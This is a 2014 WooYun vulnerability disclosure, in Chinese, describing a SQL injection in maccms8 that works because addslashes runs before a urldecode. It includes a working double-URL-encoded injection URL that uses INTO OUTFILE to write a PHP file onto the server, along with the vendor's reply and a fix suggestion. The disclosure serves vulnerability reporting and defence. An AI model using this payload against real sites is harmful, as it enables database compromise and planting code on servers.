漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-066661
漏洞标题:maccms8 设计逻辑缺陷导致sql注入
相关厂商:maccms.com
漏洞作者: 路人甲
提交时间:2014-06-30 10:33
修复时间:2014-09-28 10:34
公开时间:2014-09-28 10:34
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-06-30: 细节已通知厂商并且等待厂商处理中
2014-06-30: 厂商已经确认,细节仅向厂商公开
2014-07-03: 细节向第三方安全合作伙伴开放
2014-08-24: 细节向核心白帽子及相关领域专家公开
2014-09-03: 细节向普通白帽子公开
2014-09-13: 细节向实习白帽子公开
2014-09-28: 细节向公众公开
简要描述:
maccms8 设计逻辑缺陷,导致sql注入
详细说明:
废话不多说,首先我们进入入口文件index.php:
追踪be函数,代码如下:
发现这里对特殊字符进行了addslashes,那么我们%2527传递到这里就是一个%27,那么就不会被过滤,然后我们逃出来看看,神奇的地方,必有神奇的写法
看见了没有这里又进行了urldecode,所以大家都明白了怎么绕过这个cms了,下来我们找一个文件,gbook.php:
这里有一个mark函数,然后我们跟踪进去发现里面有一个sql操作的函数
再次跟进去mark_sql()函数,我们就明白了 这里进行了select查询,那么接下来我们构造sql语句,由于cms是一个伪静态页面的访问,全部由index.php分发:
url
http://192.168.10.70/maccms8_mfb_/maccms8_mfb/index.php?m=gbook-show-wd-ss11s') union select 1,2,3,user(),version(),"<?php phpinfo()?>",NULL,NULL,NULL into outfile 'E:/wamp/www/maccms8_mfb_/maccms8_mfb/cache/userinfo'#ORDER BY g_time desc limit 0,10
根据上面的分析,我们对m后面的参数进行两次url编码:
http://192.168.10.70/maccms8_mfb_/maccms8_mfb/index.php?m=gbook-show-wd-ss11s%2527%2529%2520union%2520select%25201%252C2%252C3%252Cuser%2528%2529%252Cversion%2528%2529%252C%2522%253C%253Fphp%2520phpinfo%2528%2529%253F%253E%2522%252CNULL%252CNULL%252CNULL%2520into%2520outfile%2520%2527E%253A%252fwamp%252fwww%252fmaccms8_mfb_%252fmaccms8_mfb%252fcache%252fuserinfo%2527%2523ORDER%2520BY%2520g_time%2520desc%2520limit%25200%252C10
请求后我们,发现如图:
我们然后去访问我们生成的文件:
漏洞证明:
修复方案:
在对参数采用addshlash的时候首先进行urldecode而且这里要循环解码,然后最终的再进行过滤
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2014-06-30 21:06
厂商回复:
感谢您对本cms的长期白帽测试,我们在0627版本中测试,该注入参数可以被脚本拦截。 down点maccms点com 下载最新测试版 。我们也会继续关注此类似的多个漏洞。
最新状态:
暂无